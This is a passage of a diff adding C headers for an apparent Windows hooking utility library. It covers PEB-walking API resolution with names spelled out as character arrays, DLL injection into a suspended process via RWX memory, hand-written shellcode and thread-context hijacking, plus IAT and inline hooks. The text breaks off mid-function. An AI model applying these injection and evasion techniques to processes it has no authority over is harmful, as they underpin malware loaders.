||||
typedef NTSTATUS (NTAPI * PFN_NtQueryInformationProcess)(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PROCESSINFOCLASS ProcessInformationClass,
|
||||
OUT PVOID ProcessInformation,
|
||||
IN ULONG ProcessInformationLength,
|
||||
OUT PULONG ReturnLength
|
||||
);
|
||||
|
||||
// util inline functions and macro declear
|
||||
#define WINDYN_FINDEXP(mempe, funcname, exp)\
|
||||
{\
|
||||
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)mempe;\
|
||||
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)\
|
||||
((uint8_t*)mempe + pDosHeader->e_lfanew);\
|
||||
PIMAGE_FILE_HEADER pFileHeader = &pNtHeader->FileHeader;\
|
||||
PIMAGE_OPTIONAL_HEADER pOptHeader = &pNtHeader->OptionalHeader;\
|
||||
PIMAGE_DATA_DIRECTORY pDataDirectory = pOptHeader->DataDirectory;\
|
||||
PIMAGE_DATA_DIRECTORY pExpEntry =\
|
||||
&pDataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];\
|
||||
PIMAGE_EXPORT_DIRECTORY pExpDescriptor =\
|
||||
(PIMAGE_EXPORT_DIRECTORY)((uint8_t*)mempe + pExpEntry->VirtualAddress);\
|
||||
WORD* ordrva = (WORD*)((uint8_t*)mempe\
|
||||
+ pExpDescriptor->AddressOfNameOrdinals);\
|
||||
DWORD* namerva = (DWORD*)((uint8_t*)mempe\
|
||||
+ pExpDescriptor->AddressOfNames);\
|
||||
DWORD* funcrva = (DWORD*)((uint8_t*)mempe\
|
||||
+ pExpDescriptor->AddressOfFunctions);\
|
||||
if ((size_t)funcname <= MAXWORD)\
|
||||
{\
|
||||
WORD ordbase = LOWORD(pExpDescriptor->Base) - 1;\
|
||||
WORD funcord = LOWORD(funcname);\
|
||||
exp = (void*)((uint8_t*)mempe + funcrva[ordrva[funcord - ordbase]]);\
|
||||
}\
|
||||
else\
|
||||
{\
|
||||
for (DWORD i = 0; i < pExpDescriptor->NumberOfNames; i++)\
|
||||
{\
|
||||
LPCSTR curname = (LPCSTR)((uint8_t*)mempe + namerva[i]);\
|
||||
if (inl_stricmp(curname, funcname) == 0)\
|
||||
{\
|
||||
exp = (void*)((uint8_t*)mempe + funcrva[ordrva[i]]); \
|
||||
break;\
|
||||
}\
|
||||
}\
|
||||
}\
|
||||
}
|
||||
|
||||
#define WINDYN_FINDMODULE(peb, modulename, hmod)\
|
||||
{\
|
||||
typedef struct _LDR_ENTRY \
|
||||
{\
|
||||
LIST_ENTRY InLoadOrderLinks; \
|
||||
LIST_ENTRY InMemoryOrderLinks;\
|
||||
LIST_ENTRY InInitializationOrderLinks;\
|
||||
PVOID DllBase;\
|
||||
PVOID EntryPoint;\
|
||||
ULONG SizeOfImage;\
|
||||
UNICODE_STRING FullDllName;\
|
||||
UNICODE_STRING BaseDllName;\
|
||||
ULONG Flags;\
|
||||
USHORT LoadCount;\
|
||||
USHORT TlsIndex;\
|
||||
union\
|
||||
{\
|
||||
LIST_ENTRY HashLinks;\
|
||||
struct\
|
||||
{\
|
||||
PVOID SectionPointer;\
|
||||
ULONG CheckSum;\
|
||||
};\
|
||||
};\
|
||||
ULONG TimeDateStamp;\
|
||||
} LDR_ENTRY, * PLDR_ENTRY; \
|
||||
PLDR_ENTRY ldrentry = NULL;\
|
||||
PPEB_LDR_DATA ldr = NULL;\
|
||||
if (!peb)\
|
||||
{\
|
||||
PTEB teb = NtCurrentTeb();\
|
||||
if(sizeof(size_t)>4) peb = *(PPEB*)((uint8_t*)teb + 0x60);\
|
||||
else peb = *(PPEB*)((uint8_t*)teb + 0x30);\
|
||||
}\
|
||||
if(sizeof(size_t)>4) ldr = *(PPEB_LDR_DATA*)((uint8_t*)peb + 0x18);\
|
||||
else ldr = *(PPEB_LDR_DATA*)((uint8_t*)peb + 0xC);\
|
||||
ldrentry = (PLDR_ENTRY)((size_t)\
|
||||
ldr->InMemoryOrderModuleList.Flink - 2 * sizeof(size_t));\
|
||||
if (!modulename)\
|
||||
{\
|
||||
hmod = ldrentry->DllBase;\
|
||||
}\
|
||||
else\
|
||||
{\
|
||||
while (ldrentry->InMemoryOrderLinks.Flink != \
|
||||
ldr->InMemoryOrderModuleList.Flink)\
|
||||
{\
|
||||
PUNICODE_STRING ustr = &ldrentry->FullDllName; \
|
||||
int i; \
|
||||
for (i = ustr->Length / 2 - 1; i > 0 && ustr->Buffer[i] != '\\'; i--); \
|
||||
if (ustr->Buffer[i] == '\\') i++; \
|
||||
if (inl_stricmp2(modulename, ustr->Buffer + i) == 0)\
|
||||
{\
|
||||
hmod = ldrentry->DllBase; \
|
||||
break; \
|
||||
}\
|
||||
ldrentry = (PLDR_ENTRY)((size_t)\
|
||||
ldrentry->InMemoryOrderLinks.Flink - 2 * sizeof(size_t)); \
|
||||
}\
|
||||
}\
|
||||
}
|
||||
|
||||
#define WINDYN_FINDKERNEL32(kernel32)\
|
||||
{\
|
||||
PPEB peb = NULL;\
|
||||
char name_kernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', '\0' }; \
|
||||
WINDYN_FINDMODULE(peb, name_kernel32, kernel32);\
|
||||
}
|
||||
|
||||
#define WINDYN_FINDLOADLIBRARYA(kernel32, pfnLoadLibraryA)\
|
||||
{\
|
||||
char name_LoadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', '\0' };\
|
||||
WINDYN_FINDEXP((void*)kernel32, name_LoadLibraryA, pfnLoadLibraryA);\
|
||||
}\
|
||||
|
||||
#define WINDYN_FINDGETPROCADDRESS(kernel32, pfnGetProcAddress)\
|
||||
{\
|
||||
char name_GetProcAddress[] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'A', 'd', 'd', 'r', 'e', 's', 's', '\0' }; \
|
||||
WINDYN_FINDEXP((void*)kernel32, name_GetProcAddress, pfnGetProcAddress);\
|
||||
}
|
||||
|
||||
// winapi inline functions declear
|
||||
WINDYN_API
|
||||
HMODULE WINAPI windyn_GetModuleHandleA(
|
||||
LPCSTR lpModuleName);
|
||||
|
||||
WINDYN_API
|
||||
HMODULE WINAPI windyn_LoadLibraryA(
|
||||
LPCSTR lpLibFileName);
|
||||
|
||||
WINDYN_API
|
||||
FARPROC WINAPI windyn_GetProcAddress(
|
||||
HMODULE hModule,
|
||||
LPCSTR lpProcName);
|
||||
|
||||
WINDYN_API
|
||||
LPVOID WINAPI windyn_VirtualAllocEx(
|
||||
HANDLE hProcess,
|
||||
LPVOID lpAddress,
|
||||
SIZE_T dwSize,
|
||||
DWORD flAllocationType,
|
||||
DWORD flProtect);
|
||||
|
||||
WINDYN_API
|
||||
BOOL WINAPI windyn_VirtualFreeEx(
|
||||
HANDLE hProcess,
|
||||
LPVOID lpAddress,
|
||||
SIZE_T dwSize,
|
||||
DWORD dwFreeType);
|
||||
|
||||
WINDYN_API
|
||||
BOOL WINAPI windyn_VirtualProtectEx(
|
||||
HANDLE hProcess,
|
||||
LPVOID lpAddress,
|
||||
SIZE_T dwSize,
|
||||
DWORD flNewProtect,
|
||||
PDWORD lpflOldProtect);
|
||||
|
||||
WINDYN_API
|
||||
BOOL WINAPI windyn_CreateProcessA(
|
||||
LPCSTR lpApplicationName,
|
||||
LPSTR lpCommandLine,
|
||||
LPSECURITY_ATTRIBUTES lpProcessAttributes,
|
||||
LPSECURITY_ATTRIBUTES lpThreadAttributes,
|
||||
BOOL bInheritHandles,
|
||||
DWORD dwCreationFlags,
|
||||
LPVOID lpEnvironment,
|
||||
LPCSTR lpCurrentDirectory,
|
||||
LPSTARTUPINFOA lpStartupInfo,
|
||||
LPPROCESS_INFORMATION lpProcessInformation);
|
||||
|
||||
WINDYN_API
|
||||
HANDLE WINAPI windyn_OpenProcess(
|
||||
DWORD dwDesiredAccess,
|
||||
BOOL bInheritHandle,
|
||||
DWORD dwProcessId);
|
||||
|
||||
WINDYN_API
|
||||
HANDLE WINAPI windyn_GetCurrentProcess(
|
||||
VOID);
|
||||
|
||||
WINDYN_API
|
||||
BOOL WINAPI windyn_ReadProcessMemory(
|
||||
HANDLE hProcess,
|
||||
LPCVOID lpBaseAddress,
|
||||
LPVOID lpBuffer,
|
||||
SIZE_T nSize,
|
||||
SIZE_T* lpNumberOfBytesRead);
|
||||
|
||||
WINDYN_API
|
||||
BOOL WINAPI windyn_WriteProcessMemory(
|
||||
HANDLE hProcess,
|
||||
LPVOID lpBaseAddress,
|
||||
LPCVOID lpBuffer,
|
||||
SIZE_T nSize,
|
||||
SIZE_T* lpNumberOfBytesWritten);
|
||||
|
||||
WINDYN_API
|
||||
HANDLE WINAPI windyn_CreateRemoteThread(
|
||||
HANDLE hProcess,
|
||||
LPSECURITY_ATTRIBUTES lpThreadAttributes,
|
||||
SIZE_T dwStackSize,
|
||||
LPTHREAD_START_ROUTINE lpStartAddress,
|
||||
LPVOID lpParameter,
|
||||
DWORD dwCreationFlags,
|
||||
LPDWORD lpThreadId);
|
||||
|
||||
WINDYN_API
|
||||
HANDLE WINAPI windyn_GetCurrentThread(
|
||||
VOID);
|
||||
|
||||
WINDYN_API
|
||||
DWORD WINAPI windyn_SuspendThread(
|
||||
HANDLE hThread);
|
||||
|
||||
WINDYN_API
|
||||
DWORD WINAPI windyn_ResumeThread(
|
||||
HANDLE hThread);
|
||||
|
||||
WINDYN_API
|
||||
BOOL WINAPI windyn_GetThreadContext(
|
||||
HANDLE hThread,
|
||||
LPCONTEXT lpContext);
|
||||
|
||||
WINDYN_API
|
||||
BOOL WINAPI windyn_SetThreadContext(
|
||||
HANDLE hThread,
|
||||
CONST CONTEXT* lpContext);
|
||||
|
||||
WINDYN_API
|
||||
DWORD WINAPI windyn_WaitForSingleObject(
|
||||
HANDLE hHandle,
|
||||
DWORD dwMilliseconds);
|
||||
|
||||
WINDYN_API
|
||||
BOOL WINAPI windyn_CloseHandle(
|
||||
HANDLE hObject);
|
||||
|
||||
WINDYN_API
|
||||
HANDLE WINAPI windyn_CreateToolhelp32Snapshot(
|
||||
DWORD dwFlags,
|
||||
DWORD th32ProcessID);
|
||||
|
||||
WINDYN_API
|
||||
BOOL WINAPI windyn_Process32First(
|
||||
HANDLE hSnapshot,
|
||||
LPPROCESSENTRY32 lppe);
|
||||
|
||||
WINDYN_API
|
||||
BOOL WINAPI windyn_Process32Next(
|
||||
HANDLE hSnapshot,
|
||||
LPPROCESSENTRY32 lppe);
|
||||
|
||||
#ifdef WINDYN_IMPLEMENTATION
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
// util functions
|
||||
|
||||
// winapi inline functions define
|
||||
HMODULE WINAPI windyn_GetModuleHandleA(
|
||||
LPCSTR lpModuleName)
|
||||
{
|
||||
PPEB peb = NULL;
|
||||
HMODULE hmod = NULL;
|
||||
WINDYN_FINDMODULE(peb, lpModuleName, hmod);
|
||||
return hmod;
|
||||
}
|
||||
|
||||
HMODULE WINAPI windyn_LoadLibraryA(
|
||||
LPCSTR lpLibFileName)
|
||||
{
|
||||
HMODULE kernel32 = NULL;
|
||||
WINDYN_FINDKERNEL32(kernel32);
|
||||
PFN_LoadLibraryA pfnLoadLibraryA = NULL;
|
||||
WINDYN_FINDLOADLIBRARYA(kernel32, pfnLoadLibraryA);
|
||||
return pfnLoadLibraryA(lpLibFileName);
|
||||
}
|
||||
|
||||
FARPROC WINAPI windyn_GetProcAddress(
|
||||
HMODULE hModule,
|
||||
LPCSTR lpProcName)
|
||||
{
|
||||
HMODULE kernel32 = NULL;
|
||||
WINDYN_FINDKERNEL32(kernel32);
|
||||
PFN_GetProcAddress pfnGetProcAddress = NULL;
|
||||
WINDYN_FINDGETPROCADDRESS(kernel32, pfnGetProcAddress);
|
||||
return pfnGetProcAddress(hModule, lpProcName);
|
||||
}
|
||||
|
||||
LPVOID WINAPI windyn_VirtualAllocEx(
|
||||
HANDLE hProcess,
|
||||
LPVOID lpAddress,
|
||||
SIZE_T dwSize,
|
||||
DWORD flAllocationType,
|
||||
DWORD flProtect)
|
||||
{
|
||||
HMODULE kernel32 = NULL;
|
||||
WINDYN_FINDKERNEL32(kernel32);
|
||||
PFN_GetProcAddress pfnGetProcAddress = NULL;
|
||||
WINDYN_FINDGETPROCADDRESS(kernel32, pfnGetProcAddress);
|
||||
char name_VirtualAllocEx[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 'E', 'x', '\0'};
|
||||
PFN_VirtualAllocEx pfnVirtualAllocEx = (PFN_VirtualAllocEx)pfnGetProcAddress(kernel32, name_VirtualAllocEx);
|
||||
return pfnVirtualAllocEx(hProcess, lpAddress, dwSize, flAllocationType, flProtect);
|
||||
}
|
||||
|
||||
// todo
|
||||
BOOL WINAPI windyn_VirtualFreeEx(
|
||||
HANDLE hProcess,
|
||||
LPVOID lpAddress,
|
||||
SIZE_T dwSize,
|
||||
DWORD dwFreeType);
|
||||
|
||||
BOOL WINAPI windyn_VirtualProtectEx(
|
||||
HANDLE hProcess,
|
||||
LPVOID lpAddress,
|
||||
SIZE_T dwSize,
|
||||
DWORD flNewProtect,
|
||||
PDWORD lpflOldProtect);
|
||||
|
||||
BOOL WINAPI windyn_CreateProcessA(
|
||||
LPCSTR lpApplicationName,
|
||||
LPSTR lpCommandLine,
|
||||
LPSECURITY_ATTRIBUTES lpProcessAttributes,
|
||||
LPSECURITY_ATTRIBUTES lpThreadAttributes,
|
||||
BOOL bInheritHandles,
|
||||
DWORD dwCreationFlags,
|
||||
LPVOID lpEnvironment,
|
||||
LPCSTR lpCurrentDirectory,
|
||||
LPSTARTUPINFOA lpStartupInfo,
|
||||
LPPROCESS_INFORMATION lpProcessInformation);
|
||||
|
||||
HANDLE WINAPI windyn_OpenProcess(
|
||||
DWORD dwDesiredAccess,
|
||||
BOOL bInheritHandle,
|
||||
DWORD dwProcessId);
|
||||
|
||||
HANDLE WINAPI windyn_GetCurrentProcess(
|
||||
VOID);
|
||||
|
||||
BOOL WINAPI windyn_ReadProcessMemory(
|
||||
HANDLE hProcess,
|
||||
LPCVOID lpBaseAddress,
|
||||
LPVOID lpBuffer,
|
||||
SIZE_T nSize,
|
||||
SIZE_T* lpNumberOfBytesRead);
|
||||
|
||||
BOOL WINAPI windyn_WriteProcessMemory(
|
||||
HANDLE hProcess,
|
||||
LPVOID lpBaseAddress,
|
||||
LPCVOID lpBuffer,
|
||||
SIZE_T nSize,
|
||||
SIZE_T* lpNumberOfBytesWritten);
|
||||
|
||||
HANDLE WINAPI windyn_CreateRemoteThread(
|
||||
HANDLE hProcess,
|
||||
LPSECURITY_ATTRIBUTES lpThreadAttributes,
|
||||
SIZE_T dwStackSize,
|
||||
LPTHREAD_START_ROUTINE lpStartAddress,
|
||||
LPVOID lpParameter,
|
||||
DWORD dwCreationFlags,
|
||||
LPDWORD lpThreadId);
|
||||
|
||||
HANDLE WINAPI windyn_GetCurrentThread(
|
||||
VOID);
|
||||
|
||||
DWORD WINAPI windyn_SuspendThread(
|
||||
HANDLE hThread);
|
||||
|
||||
DWORD WINAPI windyn_ResumeThread(
|
||||
HANDLE hThread);
|
||||
|
||||
BOOL WINAPI windyn_GetThreadContext(
|
||||
HANDLE hThread,
|
||||
LPCONTEXT lpContext);
|
||||
|
||||
BOOL WINAPI windyn_SetThreadContext(
|
||||
HANDLE hThread,
|
||||
CONST CONTEXT* lpContext);
|
||||
|
||||
DWORD WINAPI windyn_WaitForSingleObject(
|
||||
HANDLE hHandle,
|
||||
DWORD dwMilliseconds);
|
||||
|
||||
BOOL WINAPI windyn_CloseHandle(
|
||||
HANDLE hObject);
|
||||
|
||||
HANDLE WINAPI windyn_CreateToolhelp32Snapshot(
|
||||
DWORD dwFlags,
|
||||
DWORD th32ProcessID);
|
||||
|
||||
BOOL WINAPI windyn_Process32First(
|
||||
HANDLE hSnapshot,
|
||||
LPPROCESSENTRY32 lppe);
|
||||
|
||||
BOOL WINAPI windyn_Process32Next(
|
||||
HANDLE hSnapshot,
|
||||
LPPROCESSENTRY32 lppe);
|
||||
|
||||
#endif // WINDYN_IMPLEMENTATION
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif // __cplusplus
|
||||
|
||||
#endif // _WINDYN_H
|
||||
|
||||
/**
|
||||
* history
|
||||
* v0.1, initial version
|
||||
* v0.1.1, add some function pointer
|
||||
* v0.1.2, add some inline stdc function
|
||||
* v0.1.3, add some inline windows api
|
||||
* v0.1.4, improve macro style
|
||||
* v0.1.5, seperate some macro to commdef
|
||||
*/
|
||||
+753
@@ -0,0 +1,753 @@
|
||||
/**
|
||||
* windows dyamic hook util functions wrappers
|
||||
* v0.3.3, developed by devseed
|
||||
*
|
||||
* macros:
|
||||
* WINHOOK_IMPLEMENT, include defines of each function
|
||||
* WINHOOK_SHARED, make function export
|
||||
* WINHOOK_STATIC, make function static
|
||||
* WINHOOK_NOINLINE, don't use inline function
|
||||
* WINHOOK_NO3RDLIB, don't use 3rd lib for inlinehook
|
||||
* WINHOOK_USEDYNBIND, use dynamic binding for winapi api
|
||||
*/
|
||||
|
||||
#ifndef _WINHOOK_H
|
||||
#define _WINHOOK_H
|
||||
#define WINHOOK_VERSION 330
|
||||
|
||||
#ifdef USECOMPAT
|
||||
#include "commdef_v100.h"
|
||||
#else
|
||||
#include "commdef.h"
|
||||
#endif // USECOMPAT
|
||||
|
||||
// define specific macro
|
||||
#ifdef WINHOOK_API
|
||||
#undef WINHOOK_API
|
||||
#endif
|
||||
#ifdef WINHOOK_API_DEF
|
||||
#undef WINHOOK_API_DEF
|
||||
#endif
|
||||
#ifdef WINHOOK_API_EXPORT
|
||||
#undef WINHOOK_API_EXPORT
|
||||
#endif
|
||||
#ifdef WINHOOK_API_INLINE
|
||||
#undef WINHOOK_API_INLINE
|
||||
#endif
|
||||
#ifdef WINHOOK_STATIC
|
||||
#define WINHOOK_API_DEF static
|
||||
#else
|
||||
#define WINHOOK_API_DEF extern
|
||||
#endif // WINHOOK_STATIC
|
||||
#ifdef WINHOOK_SHARED
|
||||
#define WINHOOK_API_EXPORT EXPORT
|
||||
#else
|
||||
#define WINHOOK_API_EXPORT
|
||||
#endif // WINHOOK_SHARED
|
||||
#ifdef WINHOOK_NOINLINE
|
||||
#define WINHOOK_API_INLINE
|
||||
#else
|
||||
#define WINHOOK_API_INLINE INLINE
|
||||
#endif // WINHOOK_NOINLINE
|
||||
|
||||
#define WINHOOK_API WINHOOK_API_DEF WINHOOK_API_EXPORT WINHOOK_API_INLINE
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
#include <windows.h>
|
||||
|
||||
/**
|
||||
* start a exe and inject dll into exe
|
||||
* @return pid
|
||||
*/
|
||||
WINHOOK_API
|
||||
DWORD winhook_startexeinject(LPCSTR exepath, LPSTR cmdstr, LPCSTR dllpath);
|
||||
|
||||
/**
|
||||
* start a exe by CreateProcess
|
||||
* @return pid
|
||||
*/
|
||||
WINHOOK_API
|
||||
DWORD winhook_startexe(LPCSTR exepath, LPSTR cmdstr)
|
||||
{
|
||||
return winhook_startexeinject(exepath, cmdstr, NULL);
|
||||
}
|
||||
|
||||
/**
|
||||
* get the process handle by exename
|
||||
*/
|
||||
WINHOOK_API
|
||||
HANDLE winhook_getprocess(LPCWSTR exename);
|
||||
|
||||
/**
|
||||
* get the other process image base
|
||||
*/
|
||||
WINHOOK_API
|
||||
size_t winhook_getimagebase(HANDLE hprocess);
|
||||
|
||||
/**
|
||||
* dynamic inject a dll into a process
|
||||
*/
|
||||
WINHOOK_API
|
||||
BOOL winhook_injectdll(HANDLE hprocess, LPCSTR dllname);
|
||||
|
||||
/**
|
||||
* alloc a console for the program
|
||||
*/
|
||||
WINHOOK_API
|
||||
void winhook_installconsole();
|
||||
|
||||
/**
|
||||
* patch addr by buf with bufsize
|
||||
*/
|
||||
WINHOOK_API
|
||||
BOOL winhook_patchmemoryex(HANDLE hprocess,LPVOID addr, const void* buf, size_t bufsize);
|
||||
|
||||
WINHOOK_API
|
||||
BOOL winhook_patchmemory(LPVOID addr, const void* buf, size_t bufsize)
|
||||
{
|
||||
return winhook_patchmemoryex(GetCurrentProcess(), addr, buf, bufsize);
|
||||
}
|
||||
|
||||
/**
|
||||
* batch patch memories
|
||||
*/
|
||||
WINHOOK_API
|
||||
BOOL winhook_patchmemorysex(HANDLE hprocess,
|
||||
LPVOID addrs[], void* bufs[], size_t bufsizes[], int n);
|
||||
|
||||
WINHOOK_API
|
||||
BOOL winhook_patchmemorys(LPVOID addrs[], void* bufs[], size_t bufsizes[], int n)
|
||||
{
|
||||
return winhook_patchmemorysex(GetCurrentProcess(), addrs, bufs, bufsizes, n);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* patch memory with pattern,
|
||||
* @param pattern
|
||||
* skip '#' line, + for reative address, then multi byte code (hex)
|
||||
* 00400000: ff 90
|
||||
* +3f00: 90 90 90 90
|
||||
* +3f06: 90; +3f08: 90
|
||||
* @return patch bytes number, error < 0
|
||||
*/
|
||||
WINHOOK_API
|
||||
int winhook_patchmemorypattern(const char *pattern);
|
||||
|
||||
/**
|
||||
* patch memory with pattern 1337 by x64dbg, use rva
|
||||
* can use ';' instead of '\r' '\n'
|
||||
*/
|
||||
WINHOOK_API
|
||||
int winhook_patchmemory1337ex(HANDLE hprocess,
|
||||
const char* pattern, size_t base, BOOL revert);
|
||||
|
||||
WINHOOK_API
|
||||
int winhook_patchmemory1337(const char* pattern, size_t base, BOOL revert)
|
||||
{
|
||||
return winhook_patchmemory1337ex(GetCurrentProcess(), pattern, base, revert);
|
||||
}
|
||||
|
||||
/**
|
||||
* patch memory with pattern ips(International Patching System)
|
||||
* specifications at https://zerosoft.zophar.net/ips.php
|
||||
* addr is relative to base, big endian
|
||||
*/
|
||||
WINHOOK_API
|
||||
int winhook_patchmemoryipsex(HANDLE hprocess, const char* pattern, size_t base);
|
||||
|
||||
WINHOOK_API
|
||||
int winhook_patchmemoryips(const char* pattern, size_t base)
|
||||
{
|
||||
return winhook_patchmemoryipsex(GetCurrentProcess(), pattern, base);
|
||||
}
|
||||
|
||||
/**
|
||||
* search the pattern like "ab 12 ?? 34"
|
||||
* @return the matched address
|
||||
*/
|
||||
WINHOOK_API
|
||||
void* winhook_searchmemory(void* addr, size_t memsize,
|
||||
const char* pattern, size_t *pmatchsize);
|
||||
|
||||
WINHOOK_API
|
||||
void* winhook_searchmemoryex(HANDLE hprocess,
|
||||
void* addr, size_t memsize, const char* pattern, size_t* pmatchsize);
|
||||
|
||||
/**
|
||||
* winhook_iathookmodule is for windows dll,
|
||||
* @param moduleDllName is which dll to hook iat
|
||||
*/
|
||||
WINHOOK_API
|
||||
BOOL winhook_iathookpe(LPCSTR targetDllName, void* mempe, PROC pfnOrg, PROC pfnNew);
|
||||
|
||||
WINHOOK_API
|
||||
BOOL winhook_iathookmodule(LPCSTR targetDllName, LPCSTR moduleDllName, PROC pfnOrg, PROC pfnNew)
|
||||
{
|
||||
return winhook_iathookpe(targetDllName, GetModuleHandle(moduleDllName), pfnOrg, pfnNew);
|
||||
}
|
||||
|
||||
/**
|
||||
* iat dynamiclly hook,
|
||||
* replace the @param pfgNew with @param pfnOrg function
|
||||
* @param targetDllName like "user32.dll", "kernel32.dll"
|
||||
*/
|
||||
WINHOOK_API
|
||||
BOOL winhook_iathook(LPCSTR targetDllName, PROC pfnOrg, PROC pfgNew)
|
||||
{
|
||||
return winhook_iathookmodule(targetDllName, NULL, pfnOrg, pfgNew);
|
||||
}
|
||||
|
||||
/**
|
||||
* inline hooks wrapper,
|
||||
* @param pfnTargets -> @param pfnNews, save origin pointers in @param pfnOlds
|
||||
* @return: success hook numbers
|
||||
*/
|
||||
WINHOOK_API
|
||||
int winhook_inlinehooks(PVOID pfnTargets[], PVOID pfnNews[], PVOID pfnOlds[], int n);
|
||||
|
||||
WINHOOK_API
|
||||
int winhook_inlineunhooks(PVOID pfnTargets[], PVOID pfnNews[], PVOID pfnOlds[], int n);
|
||||
|
||||
#ifdef WINHOOK_IMPLEMENTATION
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <psapi.h>
|
||||
|
||||
#ifdef WINHOOK_USEDYNBIND
|
||||
#ifndef WINDYN_IMPLEMENTATION
|
||||
#define WINDYN_IMPLEMENTATION
|
||||
#endif // WINDYN_IMPLEMENTATION
|
||||
#ifndef WINDYN_STATIC
|
||||
#define WINDYN_STATIC
|
||||
#endif // WINDYN_STATIC
|
||||
#ifdef USECOMPAT
|
||||
#include "windyn_v150.h"
|
||||
#else
|
||||
#include "windyn.h"
|
||||
#endif // USECOMPAT
|
||||
#define strlen inl_strlen
|
||||
#define _stricmp inl_stricmp
|
||||
#define _wcsicmp inl_wcsicmp
|
||||
#define GetModuleHandleA windyn_GetModuleHandleA
|
||||
#define LoadLibraryA windyn_LoadLibraryA
|
||||
#define GetProcAddress windyn_GetProcAddress
|
||||
#define VirtualAllocEx windyn_VirtualAllocEx
|
||||
#endif // WINHOOK_USEDYNBIND
|
||||
|
||||
// loader functions
|
||||
DWORD winhook_startexeinject(LPCSTR exepath, LPSTR cmdstr, LPCSTR dllpath)
|
||||
{
|
||||
STARTUPINFOA si = {0};
|
||||
PROCESS_INFORMATION pi = {0};
|
||||
si.cb = sizeof(STARTUPINFOA);
|
||||
if (!CreateProcessA(exepath, cmdstr,NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
|
||||
return 0;
|
||||
|
||||
if (dllpath) // inject dll to process
|
||||
{
|
||||
size_t n = 0;
|
||||
HANDLE hprocess = pi.hProcess;
|
||||
HANDLE hthread = pi.hThread;
|
||||
LPVOID injectaddr = VirtualAllocEx(hprocess,
|
||||
0, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
size_t oepva = 0;
|
||||
|
||||
// prepare shellcode
|
||||
CONTEXT context = { 0 };
|
||||
context.ContextFlags = CONTEXT_ALL;
|
||||
GetThreadContext(hthread, &context);
|
||||
#ifdef _WIN64
|
||||
uint8_t injectcode[] = {0x50,0x53,0x51,0x52,0xe8,0x2d,0x00,0x00,0x00,0x48,0x8d,0x58,0xf7,0x48,0x83,0xec,0x28,0x48,0x8b,0x8b,0x43,0x00,0x00,0x00,0x48,0x8b,0x83,0x4b,0x00,0x00,0x00,0xff,0xd0,0x48,0x83,0xc4,0x28,0x48,0x8b,0x83,0x3b,0x00,0x00,0x00,0x49,0x89,0xc7,0x5a,0x59,0x5b,0x58,0x41,0xff,0xe7,0x48,0x8b,0x04,0x24,0xc3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90 };
|
||||
oepva = context.Rip;
|
||||
context.Rip = (ULONGLONG)injectaddr;
|
||||
|
||||
#else
|
||||
uint8_t injectcode[] = {0x50,0x53,0xe8,0x1e,0x00,0x00,0x00,0x8d,0x58,0xf9,0x8b,0x83,0x2d,0x00,0x00,0x00,0x50,0x8b,0x83,0x31,0x00,0x00,0x00,0xff,0xd0,0x8b,0x83,0x29,0x00,0x00,0x00,0x89,0xc7,0x5b,0x58,0xff,0xe7,0x8b,0x04,0x24,0xc3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90 };
|
||||
oepva = context.Eip; // origin eip at RtlUserThreadStart
|
||||
context.Eip = (DWORD)injectaddr;
|
||||
#endif
|
||||
SetThreadContext(hthread, &context);
|
||||
|
||||
char name_kernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', '\0'};
|
||||
HMODULE kernel32 = GetModuleHandleA(name_kernel32);
|
||||
char name_LoadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', '\0' };
|
||||
FARPROC pfnLoadlibraryA = GetProcAddress(kernel32, name_LoadLibraryA);
|
||||
size_t* pretva = (size_t*)(injectcode
|
||||
+ sizeof(injectcode) - 3 * sizeof(size_t));
|
||||
size_t *pdllnameva = (size_t*)(injectcode
|
||||
+ sizeof(injectcode) - 2 * sizeof(size_t));
|
||||
size_t* ploadlibraryva = (size_t*)(injectcode
|
||||
+ sizeof(injectcode) - 1 * sizeof(size_t));
|
||||
*pretva = (size_t)oepva;
|
||||
*pdllnameva = (size_t)((size_t)injectaddr + sizeof(injectcode));
|
||||
*ploadlibraryva = (size_t)pfnLoadlibraryA;
|
||||
|
||||
uint8_t* addr = (uint8_t*)injectaddr;
|
||||
WriteProcessMemory(hprocess, addr,
|
||||
injectcode, sizeof(injectcode), (SIZE_T*)&n); // copy shellcode
|
||||
addr += sizeof(injectcode);
|
||||
WriteProcessMemory(hprocess, addr,
|
||||
dllpath, strlen(dllpath) + 1, (SIZE_T*)&n); // copy dll name
|
||||
}
|
||||
|
||||
ResumeThread(pi.hThread);
|
||||
CloseHandle(pi.hThread);
|
||||
return pi.dwProcessId;
|
||||
}
|
||||
|
||||
HANDLE winhook_getprocess(LPCWSTR exename)
|
||||
{
|
||||
// Create toolhelp snapshot.
|
||||
DWORD pid = 0;
|
||||
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
PROCESSENTRY32 process;
|
||||
ZeroMemory(&process, sizeof(process));
|
||||
process.dwSize = sizeof(process);
|
||||
|
||||
// Walkthrough all processes.
|
||||
if (Process32First(snapshot, &process))
|
||||
{
|
||||
do
|
